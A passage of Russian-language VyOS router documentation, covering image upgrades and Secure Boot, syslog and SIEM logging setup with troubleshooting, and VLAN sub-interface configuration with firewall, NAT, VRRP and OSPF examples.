    KERNEL vyos/vmlinuz
    APPEND initrd=vyos/initrd.img boot=live
```

## Обновление VyOS

### Добавление нового образа

Загрузка и установка нового образа:

```
vyos@vyos:~$ add system image https://example.com/vyos-1.5.x-latest.iso
```

Или с локального файла:

```
vyos@vyos:~$ add system image /tmp/vyos-1.5.x-latest.iso
```

### Просмотр установленных образов

```
vyos@vyos:~$ show system image
The system currently has the following image(s) installed:

   1: 1.5.x-latest (default boot)
   2: 1.5.x-previous
   3: 1.4.x-stable
```

### Выбор образа для загрузки

Установка образа по умолчанию:

```
vyos@vyos:~$ set system image default-boot 1.5.x-latest
```

### Удаление старых образов

```
vyos@vyos:~$ delete system image 1.4.x-stable
```

## Откат системы

VyOS поддерживает откат к предыдущим версиям образов.

### Откат через GRUB

При загрузке системы:
1. Прервите автоматическую загрузку (нажмите любую клавишу)
2. Выберите нужный образ из списка
3. Загрузитесь с выбранного образа

### Откат конфигурации

После загрузки предыдущего образа можно восстановить конфигурацию:

```
vyos@vyos:~$ configure
vyos@vyos# rollback 1
vyos@vyos# commit
vyos@vyos# save
```

## Secure Boot

VyOS поддерживает Secure Boot начиная с версии 1.5.x.

### Установка с Secure Boot

1. Убедитесь, что Secure Boot включен в UEFI/BIOS
2. Загрузитесь с ISO (подписанного образа)
3. Выполните стандартную установку:
```
vyos@vyos:~$ install image
```

### Обновление образа с Secure Boot

При добавлении нового образа убедитесь, что он подписан:

```
vyos@vyos:~$ add system image https://example.com/vyos-1.5.x-signed.iso
```

### Проверка Secure Boot

Проверка статуса Secure Boot:

```
vyos@vyos:~$ show system boot secure-boot
Secure Boot: enabled
```

### Устранение неполадок Secure Boot

Если система не загружается с включенным Secure Boot:

1. Проверьте, что используется подписанный образ
2. Убедитесь, что сертификаты правильно установлены в UEFI
3. Попробуйте отключить Secure Boot временно для диагностики

## Резервное копирование и восстановление

### Резервное копирование конфигурации

Копирование конфигурации на удаленный сервер:

```
vyos@vyos:~$ save /tmp/config.boot
vyos@vyos:~$ scp /tmp/config.boot user@backup-server:/backups/
```

### Восстановление конфигурации

```
vyos@vyos:~$ scp user@backup-server:/backups/config.boot /tmp/
vyos@vyos:~$ configure
vyos@vyos# load /tmp/config.boot
vyos@vyos# commit
vyos@vyos# save
```

## Известные проблемы

### Проблемы с MAC-адресами

При клонировании виртуальных машин убедитесь, что MAC-адреса сетевых интерфейсов уникальны.

### Проблемы с загрузкой

Если система не загружается после установки:
1. Проверьте настройки BIOS/UEFI
2. Убедитесь, что GRUB установлен на правильный диск
3. Попробуйте загрузиться с ISO и переустановить GRUB

### Проблемы с Secure Boot

Если Secure Boot не работает:
1. Убедитесь, что используется подписанный образ
2. Проверьте, что Platform Key (PK) правильно установлен
3. Попробуйте сбросить UEFI настройки до заводских

## Следующие шаги

После установки VyOS продолжите с:

- [Быстрый старт](/docs/vyos/first-steps/vyos-quick-start/) - базовая конфигурация NAT-шлюза
- [Интерфейс командной строки](/docs/vyos/first-steps/vyos-cli/) - изучение CLI
- [Обзор конфигурации](/docs/vyos/first-steps/vyos-config-overview/) - понимание структуры конфигурации


---

# Syslog и логирование в VyOS

Source: https://opennix.org/docs/vyos/system/vyos-syslog/



Syslog - это стандартный протокол для передачи сообщений журналов (логов) в IP-сетях. VyOS поддерживает полнофункциональную систему логирования, включая локальные журналы, удаленные syslog-серверы, буферизованные логи и фильтрацию по уровням важности.

## Обзор

VyOS использует rsyslog в качестве демона системного журнала. Система syslog позволяет:

- Централизованно собирать логи с множества устройств
- Разделять сообщения по facility (источникам) и severity (уровням важности)
- Отправлять логи на удаленные серверы для анализа и архивирования
- Настраивать ротацию и хранение логов
- Интегрироваться с SIEM-системами (Splunk, ELK, Graylog)

### Архитектура логирования VyOS

VyOS поддерживает несколько направлений для логов:

- **Локальные файлы**: Логи записываются в файлы в `/var/log/`
- **Консоль**: Сообщения выводятся на физическую консоль
- **Буфер**: Логи хранятся в памяти (ring buffer)
- **Удаленные серверы**: Пересылка на внешние syslog-серверы
- **Пользователи**: Отправка критических сообщений залогиненным пользователям

## Базовая конфигурация

### Локальное логирование в файл

```bash
# Логи всех уровней в файл /var/log/messages
set system syslog global facility all level info

# Отдельные логи для различных facility
set system syslog file messages facility all level info
set system syslog file auth.log facility auth level info
set system syslog file auth.log facility authpriv level info
```

### Консольное логирование

```bash
# Вывод критических сообщений на консоль
set system syslog console facility all level err
```

### Логирование в буфер

```bash
# Circular buffer размером 10000 сообщений
set system syslog global facility all level info
set system syslog global archive size 10000
```

### Удаленный syslog-сервер

```bash
# Отправка всех логов на удаленный сервер
set system syslog host 192.168.1.100 facility all level info

# Использование TCP вместо UDP
set system syslog host 192.168.1.100 facility all protocol tcp

# Нестандартный порт
set system syslog host 192.168.1.100 port 5140
```

## Facility (источники)

VyOS поддерживает стандартные facility syslog:

| Facility | Описание | Примеры |
|----------|----------|---------|
| all | Все источники | Общее логирование |
| auth | Аутентификация | SSH login, sudo |
| authpriv | Приватная аутентификация | PAM, локальные логины |
| cron | Планировщик задач | Задачи cron |
| daemon | Системные демоны | Сервисы (DHCP, DNS, NTP) |
| kern | Ядро системы | Kernel messages |
| mail | Почтовая система | Mail subsystem |
| syslog | Syslog-демон | Rsyslog сообщения |
| user | Пользовательские процессы | Команды пользователей |
| local0-local7 | Пользовательские | Кастомные приложения |

## Severity Levels (уровни важности)

Уровни важности в порядке убывания:

| Level | Numeric | Описание | Использование |
|-------|---------|----------|---------------|
| emerg | 0 | Система неработоспособна | Критическая авария |
| alert | 1 | Требуется немедленное действие | Серьезная ошибка |
| crit | 2 | Критические условия | Отказ оборудования |
| err | 3 | Условия ошибки | Ошибки операций |
| warning | 4 | Предупреждающие условия | Предупреждения |
| notice | 5 | Нормальные, но важные | Изменения конфигурации |
| info | 6 | Информационные сообщения | Стандартная работа |
| debug | 7 | Отладочные сообщения | Детальная информация |

При настройке уровня записываются все сообщения данного уровня и выше. Например, `level warning` будет записывать warning, err, crit, alert, emerg.

## Расширенная конфигурация

### Множественные удаленные серверы

```bash
# Основной syslog-сервер (все логи)
set system syslog host 192.168.1.100 facility all level info

# Резервный сyslog-сервер
set system syslog host 192.168.1.101 facility all level info

# Специализированный сервер только для security events
set system syslog host 192.168.1.200 facility auth level info
set system syslog host 192.168.1.200 facility authpriv level info
```

### Селективное логирование

```bash
# Только критические сообщения ядра в отдельный файл
set system syslog file kernel.log facility kern level err

# Только логи аутентификации
set system syslog file auth.log facility auth level info
set system syslog file auth.log facility authpriv level info

# Логи DHCP-сервера
set system syslog file dhcpd.log facility daemon level info
```

### Логирование с протоколом TLS (зашифрованный syslog)

VyOS 1.5+ поддерживает TLS для безопасной передачи логов:

```bash
# Настройка TLS для удаленного сервера
set system syslog host 192.168.1.100 facility all level info
set system syslog host 192.168.1.100 protocol tcp
set system syslog host 192.168.1.100 port 6514

# Использование сертификата для проверки сервера
set pki ca ca-syslog certificate 'MIIDXTCCAkWg...'
```

### Настройка архивирования и ротации

```bash
# Архивирование с ротацией логов
set system syslog global archive size 10000
set system syslog global archive file 10

# Размер файла логов перед ротацией (в байтах)
set system syslog file messages archive size 10485760
set system syslog file messages archive file 5
```

## Примеры конфигураций

### Пример 1: Базовое локальное логирование

```bash
# Общие логи
set system syslog file messages facility all level info
set system syslog file messages archive size 10485760
set system syslog file messages archive file 5

# Логи аутентификации отдельно
set system syslog file auth.log facility auth level info
set system syslog file auth.log facility authpriv level info

# Критические сообщения на консоль
set system syslog console facility all level err

# Commit и сохранение
commit
save
```

### Пример 2: Централизованное логирование (Enterprise)

```bash
# Локальные логи (для быстрой диагностики)
set system syslog file messages facility all level info

# Основной удаленный syslog-сервер
set system syslog host 192.168.1.100 facility all level info

# Резервный syslog-сервер
set system syslog host 192.168.1.101 facility all level warning

# Отдельный сервер безопасности (только auth)
set system syslog host 192.168.10.50 facility auth level info
set system syslog host 192.168.10.50 facility authpriv level info

# Консоль только для критических сообщений
set system syslog console facility all level crit

commit
save
```

### Пример 3: Высоконагруженная среда с TCP

```bash
# TCP для гарантированной доставки
set system syslog host 192.168.1.100 facility all level info
set system syslog host 192.168.1.100 protocol tcp
set system syslog host 192.168.1.100 port 514

# Буферизованное логирование
set system syslog global facility all level info
set system syslog global archive size 50000

# Локальное логирование минимизировано
set system syslog file messages facility all level warning

commit
save
```

### Пример 4: Отладка конкретного сервиса (DHCP)

```bash
# Детальное логирование DHCP
set system syslog file dhcpd.log facility daemon level debug
set system syslog host 192.168.1.100 facility daemon level debug

# Обычные логи для остальных сервисов
set system syslog file messages facility all level info

commit
save

# После отладки - вернуть уровень info
delete system syslog file dhcpd.log facility daemon level debug
set system syslog file dhcpd.log facility daemon level info
commit
save
```

### Пример 5: Интеграция с ELK Stack (Elasticsearch/Logstash/Kibana)

```bash
# Отправка JSON-форматированных логов в Logstash
set system syslog host 192.168.1.150 facility all level info
set system syslog host 192.168.1.150 port 5140
set system syslog host 192.168.1.150 protocol tcp

# Локальные логи для резервирования
set system syslog file messages facility all level info

commit
save
```

Конфигурация Logstash (на стороне сервера):

```
input {
  syslog {
    port => 5140
    type => "vyos"
  }
}

filter {
  if [type] == "vyos" {
    grok {
      match => { "message" => "%{SYSLOGTIMESTAMP:timestamp} %{SYSLOGHOST:hostname} %{DATA:program}(?:\[%{POSINT:pid}\])?: %{GREEDYDATA:log_message}" }
    }
    date {
      match => [ "timestamp", "MMM  d HH:mm:ss", "MMM dd HH:mm:ss" ]
    }
  }
}

output {
  elasticsearch {
    hosts => ["localhost:9200"]
    index => "vyos-logs-%{+YYYY.MM.dd}"
  }
}
```

### Пример 6: Интеграция со Splunk

```bash
# Отправка всех логов в Splunk через TCP
set system syslog host splunk.example.com facility all level info
set system syslog host splunk.example.com port 514
set system syslog host splunk.example.com protocol tcp

# Локальное резервирование
set system syslog file messages facility all level info

commit
save
```

Конфигурация Splunk (inputs.conf):

```
[tcp://514]
connection_host = ip
sourcetype = syslog
index = network_devices

[syslog]
TRANSFORMS-routing = route_vyos_logs

# Создание поля для VyOS устройств
[vyos-sourcetype]
REGEX = vyos
FORMAT = sourcetype::vyos_syslog
DEST_KEY = MetaData:Sourcetype
```

## Мониторинг и диагностика

### Просмотр локальных логов

```bash
# Просмотр текущих логов в реальном времени
monitor log

# Последние 50 строк
show log tail 50

# Логи аутентификации
show log auth tail 50

# Логи ядра
show log kernel tail 50

# Фильтрация по ключевому слову
show log | match DHCP
show log | match failed

# Логи конкретного файла
tail -f /var/log/messages
tail -f /var/log/auth.log
```

### Проверка конфигурации syslog

```bash
# Показать активную конфигурацию syslog
show configuration system syslog

# Показать в формате commands
show configuration commands | match syslog
```

### Проверка статуса rsyslog

```bash
# Статус демона rsyslog
show system syslog

# Проверка процесса
ps aux | grep rsyslog

# Проверка сетевых соединений (если используются удаленные серверы)
netstat -an | grep :514
ss -tulpn | grep rsyslog
```

### Тестирование отправки логов

```bash
# Генерация тестового сообщения
logger -t test-message "This is a test syslog message from VyOS"

# С указанием priority
logger -p local0.info "Test message to local0 facility"

# Проверка доставки на удаленный сервер (с сервера логов)
tail -f /var/log/syslog | grep vyos
```

### Проверка сетевой доступности syslog-сервера

```bash
# Ping до syslog-сервера
ping 192.168.1.100 count 3

# Проверка порта UDP 514
nc -vzu 192.168.1.100 514

# Проверка порта TCP 514
nc -vz 192.168.1.100 514

# Telnet (для TCP)
telnet 192.168.1.100 514
```

## Устранение неполадок

### Проблема: Логи не отправляются на удаленный сервер

**Диагностика**:

```bash
# 1. Проверка конфигурации
show configuration system syslog host

# 2. Проверка сетевой связности
ping 192.168.1.100 count 5

# 3. Проверка firewall на VyOS
show firewall

# 4. Проверка открытого порта на сервере (если есть доступ)
nc -vzu 192.168.1.100 514  # UDP
nc -vz 192.168.1.100 514   # TCP

# 5. Проверка логов rsyslog
grep -i error /var/log/messages | grep rsyslog
journalctl -u rsyslog -n 50
```

**Решение**:

```bash
# Проверка правил firewall (разрешить исходящий трафик)
set firewall name WAN_LOCAL rule 100 action accept
set firewall name WAN_LOCAL rule 100 description 'Allow syslog to remote server'
set firewall name WAN_LOCAL rule 100 destination address 192.168.1.100
set firewall name WAN_LOCAL rule 100 destination port 514
set firewall name WAN_LOCAL rule 100 protocol udp

# Или использовать TCP
delete system syslog host 192.168.1.100 protocol
set system syslog host 192.168.1.100 protocol tcp

commit
save
```

### Проблема: Логи слишком объемные, диск заполняется

**Диагностика**:

```bash
# Проверка использования диска
show system storage

# Размер файлов логов
ls -lh /var/log/

# Самые большие лог-файлы
du -h /var/log/ | sort -rh | head -10
```

**Решение**:

```bash
# Настройка ротации и архивирования
set system syslog file messages archive size 5242880    # 5 MB
set system syslog file messages archive file 3          # Хранить 3 архива

# Уменьшение уровня логирования
delete system syslog file messages facility all level debug
set system syslog file messages facility all level warning

# Отправка на удаленный сервер вместо локального хранения
set system syslog host 192.168.1.100 facility all level info
delete system syslog file messages

commit
save

# Ручная очистка старых логов
sudo rm /var/log/messages.*.gz
```

### Проблема: Не видны логи определенного сервиса

**Диагностика**:

```bash
# Проверка, что facility настроен
show configuration system syslog | match daemon

# Проверка работы сервиса (например DHCP)
show service dhcp-server statistics

# Поиск логов сервиса
grep -i dhcp /var/log/messages
```

**Решение**:

```bash
# Добавление специфичного facility и level debug
set system syslog file dhcpd.log facility daemon level debug

# Или повышение детализации для всех
set system syslog file messages facility all level debug

commit
save

# После отладки - вернуть info
set system syslog file messages facility all level info
commit
save
```

### Проблема: Время в логах некорректное

**Диагностика**:

```bash
# Проверка системного времени
show date

# Проверка NTP
show ntp

# Проверка timezone
show configuration system time-zone
```

**Решение**:

```bash
# Установка правильной timezone
set system time-zone Europe/Moscow

# Настройка NTP (если не настроен)
set system ntp server 0.pool.ntp.org
set system ntp server 1.pool.ntp.org

commit
save

# Перезапуск rsyslog
sudo systemctl restart rsyslog
```

### Проблема: Дублирование сообщений в логах

**Причина**: Часто возникает при неправильной конфигурации facility.

**Решение**:

```bash
# Проверка дублирующих правил
show configuration system syslog

# Пример некорректной конфигурации (дублирование)
# set system syslog file messages facility all level info
# set system syslog file messages facility kern level info  # Дублирует, т.к. all включает kern

# Удаление избыточных правил
delete system syslog file messages facility kern

commit
save
```

### Проблема: Логи не пишутся после изменения конфигурации

**Решение**:

```bash
# Перезапуск rsyslog
sudo systemctl restart rsyslog

# Проверка статуса
sudo systemctl status rsyslog

# Проверка синтаксиса конфигурации rsyslog
sudo rsyslogd -N1
```

## Интеграция с SIEM

### Graylog

```bash
# Настройка отправки в Graylog (GELF UDP input)
set system syslog host graylog.example.com facility all level info
set system syslog host graylog.example.com port 12201

commit
save
```

Конфигурация Graylog:
1. System → Inputs → Select "Syslog UDP"
2. Launch new input на порту 514 или 12201
3. Создать extractors для парсинга VyOS логов

### Syslog-ng (на стороне сервера)

```conf
source s_vyos {
    udp(ip(0.0.0.0) port(514));
    tcp(ip(0.0.0.0) port(514));
};

filter f_vyos {
    host("vyos-*");
};

destination d_vyos {
    file("/var/log/vyos/$HOST/$YEAR-$MONTH-$DAY.log"
        create_dirs(yes)
        owner("root")
        group("root")
        perm(0640)
    );
};

log {
    source(s_vyos);
    filter(f_vyos);
    destination(d_vyos);
};
```

### Rsyslog (на стороне сервера)

```conf
# /etc/rsyslog.d/10-vyos.conf

# UDP input
module(load="imudp")
input(type="imudp" port="514")

# TCP input
module(load="imtcp")
input(type="imtcp" port="514")

# Шаблон для VyOS логов
template(name="VyOSLogFormat" type="string"
         string="/var/log/vyos/%HOSTNAME%/%$YEAR%-%$MONTH%-%$DAY%.log")

# Правило для VyOS устройств (по hostname)
if $hostname startswith 'vyos-' then {
    action(type="omfile" dynaFile="VyOSLogFormat")
    stop
}
```

## Лучшие практики

### 1. Централизованное логирование

- Всегда отправляйте логи на централизованный syslog-сервер
- Используйте резервный сервер для критичных сред
- Храните локальные логи минимального уровня (warning и выше) для быстрой диагностики

### 2. Выбор протокола

- **UDP (514)**: Быстрее, но без гарантии доставки. Подходит для большинства случаев
- **TCP (514/601)**: Гарантированная доставка, медленнее. Используйте для критичных логов
- **TLS (6514)**: Шифрованная передача для чувствительной информации

### 3. Уровни логирования

- **Production**: info для обычных сервисов, warning для высоконагруженных
- **Development/Testing**: debug для отладки конкретных проблем
- **Security critical**: info для auth/authpriv на отдельный сервер

### 4. Ротация и архивирование

- Настройте ротацию для всех локальных логов
- Размер файла: 5-10 MB для роутеров с ограниченным хранилищем
- Количество архивов: 3-5 для истории

### 5. Мониторинг логов

- Настройте алерты на критические сообщения (crit, alert, emerg)
- Мониторьте доступность syslog-сервера
- Проверяйте размер локальных логов (disk space)

### 6. Безопасность

- Ограничьте доступ к syslog-серверу с помощью firewall
- Используйте TLS для передачи логов через ненадежные сети
- Регулярно проверяйте логи аутентификации

### 7. Производительность

- В высоконагруженных средах минимизируйте локальное логирование
- Используйте буферизацию для снижения нагрузки на диск
- Рассмотрите использование TCP для стабильности

### 8. Время и синхронизация

- Всегда настраивайте NTP для корректных временных меток
- Используйте одинаковый timezone на всех устройствах
- Проверяйте синхронизацию времени регулярно

### 9. Документирование

- Документируйте схему логирования (какие логи куда идут)
- Указывайте facility для каждого типа сообщений
- Ведите журнал изменений конфигурации syslog

### 10. Тестирование

- Тестируйте изменения конфигурации syslog с помощью `logger`
- Проверяйте доставку логов после настройки
- Имейте план восстановления при сбое централизованного логирования

## Полезные команды

```bash
# Просмотр логов в реальном времени
monitor log

# Последние N строк
show log tail 100

# Поиск по ключевому слову
show log | match "keyword"

# Логи аутентификации
show log auth tail 50

# Логи ядра
show log kernel tail 50

# Генерация тестового сообщения
logger -t test "Test syslog message"

# Проверка статуса rsyslog
show system syslog

# Перезапуск rsyslog (если необходимо)
sudo systemctl restart rsyslog

# Проверка синтаксиса конфигурации rsyslog
sudo rsyslogd -N1

# Просмотр конфигурации
show configuration system syslog

# Список файлов логов
ls -lh /var/log/

# Использование диска
show system storage
df -h

# Поиск по всем логам
sudo grep -r "search term" /var/log/
```

## Заключение

Правильная настройка syslog критична для мониторинга, аудита и устранения неполадок в сетевой инфраструктуре. VyOS предоставляет гибкую систему логирования с поддержкой централизованных серверов, различных уровней важности и интеграции с современными SIEM-системами.

Централизованное логирование позволяет:
- Коррелировать события с множества устройств
- Проводить анализ безопасности
- Обеспечивать соответствие требованиям compliance
- Быстро диагностировать проблемы

Для production-сред рекомендуется использовать централизованный syslog-сервер с резервированием, настроить ротацию локальных логов и мониторить доступность системы логирования.


---

# VLAN интерфейсы (802.1Q) в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-vlan/



VLAN (Virtual Local Area Network) позволяет разделить физическую сеть на несколько логических сетей. VyOS поддерживает IEEE 802.1Q VLAN tagging, позволяя создавать VLAN sub-interfaces на физических интерфейсах.

## Обзор

### Ключевые концепции

**VLAN Tag (802.1Q)**:
- 12-битный VLAN ID (1-4094)
- VLAN 0 зарезервирован
- VLAN 4095 зарезервирован
- Рабочий диапазон: 1-4094

**Типы VLAN портов**:
- **Access Port**: Untag трафик, один VLAN
- **Trunk Port**: Tagged трафик, множество VLAN
- **Hybrid Port**: Комбинация tagged и untagged

**Native VLAN**:
- Untagged VLAN на trunk порту
- По умолчанию VLAN 1
- Трафик без тега принадлежит native VLAN

### Преимущества VLAN

1. **Сегментация сети** - логическое разделение без дополнительного оборудования
2. **Безопасность** - изоляция трафика между VLAN
3. **Гибкость** - простое перемещение устройств между VLAN
4. **Производительность** - уменьшение broadcast доменов
5. **Управление** - упрощение администрирования сети

### Использование в VyOS

В VyOS VLAN реализуются как sub-interfaces физических интерфейсов:

```
eth0          - Физический интерфейс (parent)
├── eth0.10   - VLAN 10
├── eth0.20   - VLAN 20
└── eth0.30   - VLAN 30
```

## Базовая конфигурация

### Создание VLAN интерфейса

```bash
# VLAN 10 на eth0
set interfaces ethernet eth0 vif 10 address 192.168.10.1/24
set interfaces ethernet eth0 vif 10 description 'Management VLAN'

# VLAN 20 на eth0
set interfaces ethernet eth0 vif 20 address 192.168.20.1/24
set interfaces ethernet eth0 vif 20 description 'Users VLAN'

# VLAN 30 на eth0
set interfaces ethernet eth0 vif 30 address 192.168.30.1/24
set interfaces ethernet eth0 vif 30 description 'Servers VLAN'

commit
save
```

**Примечание**: `vif` означает "Virtual Interface".

### Проверка конфигурации

```bash
# Показать все интерфейсы
show interfaces

# Показать конкретный VLAN
show interfaces ethernet eth0 vif 10

# Детальная информация
show interfaces ethernet eth0 vif 10 detail

# Статистика
show interfaces ethernet eth0 vif 10 statistics
```

### MTU для VLAN

VLAN добавляет 4 байта (802.1Q tag), поэтому:

```bash
# Parent интерфейс должен поддерживать увеличенный MTU
set interfaces ethernet eth0 mtu 1504

# VLAN интерфейс
set interfaces ethernet eth0 vif 10 mtu 1500

commit
```

## Типичные сценарии

### Сценарий 1: Базовая VLAN сегментация

**Требования**:
- VLAN 10: Management (192.168.10.0/24)
- VLAN 20: Users (192.168.20.0/24)
- VLAN 30: Servers (192.168.30.0/24)
- VLAN 99: Guest (192.168.99.0/24)

**Конфигурация**:

```bash
# Parent интерфейс (без IP, только trunk)
set interfaces ethernet eth0 description 'Trunk to Switch'

# VLAN 10 - Management
set interfaces ethernet eth0 vif 10 address 192.168.10.1/24
set interfaces ethernet eth0 vif 10 description 'Management'

# VLAN 20 - Users
set interfaces ethernet eth0 vif 20 address 192.168.20.1/24
set interfaces ethernet eth0 vif 20 description 'Users'

# VLAN 30 - Servers
set interfaces ethernet eth0 vif 30 address 192.168.30.1/24
set interfaces ethernet eth0 vif 30 description 'Servers'

# VLAN 99 - Guest
set interfaces ethernet eth0 vif 99 address 192.168.99.1/24
set interfaces ethernet eth0 vif 99 description 'Guest Network'

commit
save
```

### Сценарий 2: VLAN с DHCP

DHCP сервер для каждого VLAN:

```bash
# VLAN конфигурация
set interfaces ethernet eth1 vif 10 address 10.10.10.1/24
set interfaces ethernet eth1 vif 20 address 10.10.20.1/24

# DHCP для VLAN 10
set service dhcp-server shared-network-name VLAN10 subnet 10.10.10.0/24 option default-router 10.10.10.1
set service dhcp-server shared-network-name VLAN10 subnet 10.10.10.0/24 option name-server 10.10.10.1
set service dhcp-server shared-network-name VLAN10 subnet 10.10.10.0/24 range 0 start 10.10.10.100
set service dhcp-server shared-network-name VLAN10 subnet 10.10.10.0/24 range 0 stop 10.10.10.200
set service dhcp-server shared-network-name VLAN10 subnet 10.10.10.0/24 lease 86400

# DHCP для VLAN 20
set service dhcp-server shared-network-name VLAN20 subnet 10.10.20.0/24 option default-router 10.10.20.1
set service dhcp-server shared-network-name VLAN20 subnet 10.10.20.0/24 option name-server 10.10.20.1
set service dhcp-server shared-network-name VLAN20 subnet 10.10.20.0/24 range 0 start 10.10.20.100
set service dhcp-server shared-network-name VLAN20 subnet 10.10.20.0/24 range 0 stop 10.10.20.200

commit
save
```

### Сценарий 3: Inter-VLAN Routing

Маршрутизация между VLAN:

```bash
# VLAN интерфейсы
set interfaces ethernet eth0 vif 10 address 172.16.10.1/24
set interfaces ethernet eth0 vif 20 address 172.16.20.1/24
set interfaces ethernet eth0 vif 30 address 172.16.30.1/24

# По умолчанию inter-VLAN routing включен
# Firewall для контроля доступа между VLAN

# Разрешить VLAN 10 → VLAN 30 (management → servers)
set firewall ipv4 forward filter rule 100 action accept
set firewall ipv4 forward filter rule 100 source address 172.16.10.0/24
set firewall ipv4 forward filter rule 100 destination address 172.16.30.0/24

# Разрешить VLAN 20 → VLAN 30 (users → servers, только HTTP/HTTPS)
set firewall ipv4 forward filter rule 110 action accept
set firewall ipv4 forward filter rule 110 source address 172.16.20.0/24
set firewall ipv4 forward filter rule 110 destination address 172.16.30.0/24
set firewall ipv4 forward filter rule 110 destination port 80,443
set firewall ipv4 forward filter rule 110 protocol tcp

# Блокировать VLAN 20 → VLAN 10 (users не могут в management)
set firewall ipv4 forward filter rule 120 action drop
set firewall ipv4 forward filter rule 120 source address 172.16.20.0/24
set firewall ipv4 forward filter rule 120 destination address 172.16.10.0/24

commit
save
```

### Сценарий 4: VLAN на Bond интерфейсе

VLAN поверх bond (link aggregation):

```bash
# Bond интерфейс
set interfaces bonding bond0 member interface eth0
set interfaces bonding bond0 member interface eth1
set interfaces bonding bond0 mode 802.3ad
set interfaces bonding bond0 description 'LACP to Switch'

# VLAN на bond
set interfaces bonding bond0 vif 100 address 10.100.0.1/24
set interfaces bonding bond0 vif 100 description 'VLAN 100 on Bond'

set interfaces bonding bond0 vif 200 address 10.200.0.1/24
set interfaces bonding bond0 vif 200 description 'VLAN 200 on Bond'

commit
save
```

### Сценарий 5: VLAN с NAT

NAT для VLAN (доступ в интернет):

```bash
# WAN интерфейс
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 description 'WAN'

# VLAN на LAN
set interfaces ethernet eth1 vif 10 address 192.168.10.1/24
set interfaces ethernet eth1 vif 20 address 192.168.20.1/24

# NAT для VLAN 10
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 192.168.10.0/24
set nat source rule 100 translation address masquerade

# NAT для VLAN 20
set nat source rule 110 outbound-interface name eth0
set nat source rule 110 source address 192.168.20.0/24
set nat source rule 110 translation address masquerade

commit
save
```

## Продвинутые конфигурации

### QinQ (802.1ad) - VLAN Stacking

Double tagging для service providers:

```bash
# Outer VLAN (S-TAG)
set interfaces ethernet eth0 vif-s 100 description 'S-VLAN 100'

# Inner VLAN (C-TAG)
set interfaces ethernet eth0 vif-s 100 vif-c 10 address 10.100.10.1/24
set interfaces ethernet eth0 vif-s 100 vif-c 20 address 10.100.20.1/24

commit
```

**Структура**:
```
eth0
└── vif-s 100 (S-TAG, Outer VLAN)
    ├── vif-c 10 (C-TAG, Inner VLAN)
    └── vif-c 20 (C-TAG, Inner VLAN)
```

### VLAN с несколькими IP адресами

```bash
# Основной IP
set interfaces ethernet eth0 vif 10 address 192.168.10.1/24

# Дополнительные IP на том же VLAN
set interfaces ethernet eth0 vif 10 address 192.168.10.2/24
set interfaces ethernet eth0 vif 10 address 192.168.10.3/24

commit
```

### VLAN с IPv6

```bash
# Dual-stack VLAN
set interfaces ethernet eth0 vif 10 address 192.168.10.1/24
set interfaces ethernet eth0 vif 10 address 2001:db8:10::1/64

# IPv6 SLAAC
set interfaces ethernet eth0 vif 10 ipv6 address autoconf

commit
```

### VLAN Private (PVLAN)

VyOS не имеет нативной поддержки PVLAN, но можно эмулировать через firewall:

```bash
# VLAN 50 с изоляцией хостов
set interfaces ethernet eth0 vif 50 address 192.168.50.1/24

# Firewall: блокировать хосты друг с другом
set firewall ipv4 forward filter rule 500 action drop
set firewall ipv4 forward filter rule 500 source address 192.168.50.0/24
set firewall ipv4 forward filter rule 500 destination address 192.168.50.0/24

# Разрешить доступ к gateway
set firewall ipv4 forward filter rule 501 action accept
set firewall ipv4 forward filter rule 501 destination address 192.168.50.1

commit
```

### VLAN с VRRP (High Availability)

```bash
# Router 1
set interfaces ethernet eth0 vif 10 address 192.168.10.2/24

set high-availability vrrp group VLAN10 vrid 10
set high-availability vrrp group VLAN10 interface eth0.10
set high-availability vrrp group VLAN10 address 192.168.10.1/24
set high-availability vrrp group VLAN10 priority 200

# Router 2
set interfaces ethernet eth0 vif 10 address 192.168.10.3/24

set high-availability vrrp group VLAN10 vrid 10
set high-availability vrrp group VLAN10 interface eth0.10
set high-availability vrrp group VLAN10 address 192.168.10.1/24
set high-availability vrrp group VLAN10 priority 100

commit
```

### VLAN с динамическим routing (OSPF)

```bash
# VLAN интерфейсы
set interfaces ethernet eth0 vif 10 address 10.0.10.1/24
set interfaces ethernet eth0 vif 20 address 10.0.20.1/24

# OSPF на VLAN
set protocols ospf area 0 network 10.0.10.0/24
set protocols ospf area 0 network 10.0.20.0/24

# Или специфично на интерфейсах
set protocols ospf interface eth0.10 area 0
set protocols ospf interface eth0.20 area 0

commit
```

### VLAN с bandwidth shaping

```bash
# VLAN интерфейс
set interfaces ethernet eth0 vif 20 address 192.168.20.1/24

# Traffic policy (QoS)
set traffic-policy shaper VLAN20-LIMIT bandwidth 100mbit
set traffic-policy shaper VLAN20-LIMIT default bandwidth 80mbit

# Применить к VLAN
set interfaces ethernet eth0 vif 20 traffic-policy out VLAN20-LIMIT

commit
```

## Firewall и безопасность

### VLAN изоляция

Полная изоляция VLAN друг от друга:

```bash
# Блокировать весь inter-VLAN трафик
set firewall ipv4 forward filter default-action drop

# Разрешить только established/related
set firewall ipv4 forward filter rule 10 action accept
set firewall ipv4 forward filter rule 10 state established
set firewall ipv4 forward filter rule 10 state related

commit
```

### Селективный доступ между VLAN

```bash
# VLAN 10: 192.168.10.0/24 (Admin)
# VLAN 20: 192.168.20.0/24 (Users)
# VLAN 30: 192.168.30.0/24 (Servers)

# Admin может везде
set firewall ipv4 forward filter rule 100 action accept
set firewall ipv4 forward filter rule 100 source address 192.168.10.0/24

# Users → Servers (только HTTP/HTTPS/DNS)
set firewall ipv4 forward filter rule 110 action accept
set firewall ipv4 forward filter rule 110 source address 192.168.20.0/24
set firewall ipv4 forward filter rule 110 destination address 192.168.30.0/24
set firewall ipv4 forward filter rule 110 destination port 80,443,53
set firewall ipv4 forward filter rule 110 protocol tcp

# Servers → Users (deny)
set firewall ipv4 forward filter rule 120 action drop
set firewall ipv4 forward filter rule 120 source address 192.168.30.0/24
set firewall ipv4 forward filter rule 120 destination address 192.168.20.0/24

# Users → Admin (deny)
set firewall ipv4 forward filter rule 130 action drop
set firewall ipv4 forward filter rule 130 source address 192.168.20.0/24
set firewall ipv4 forward filter rule 130 destination address 192.168.10.0/24

commit
```

### Guest VLAN с ограничениями

```bash
# Guest VLAN 99
set interfaces ethernet eth0 vif 99 address 192.168.99.1/24

# DHCP для guest
set service dhcp-server shared-network-name GUEST subnet 192.168.99.0/24 option default-router 192.168.99.1
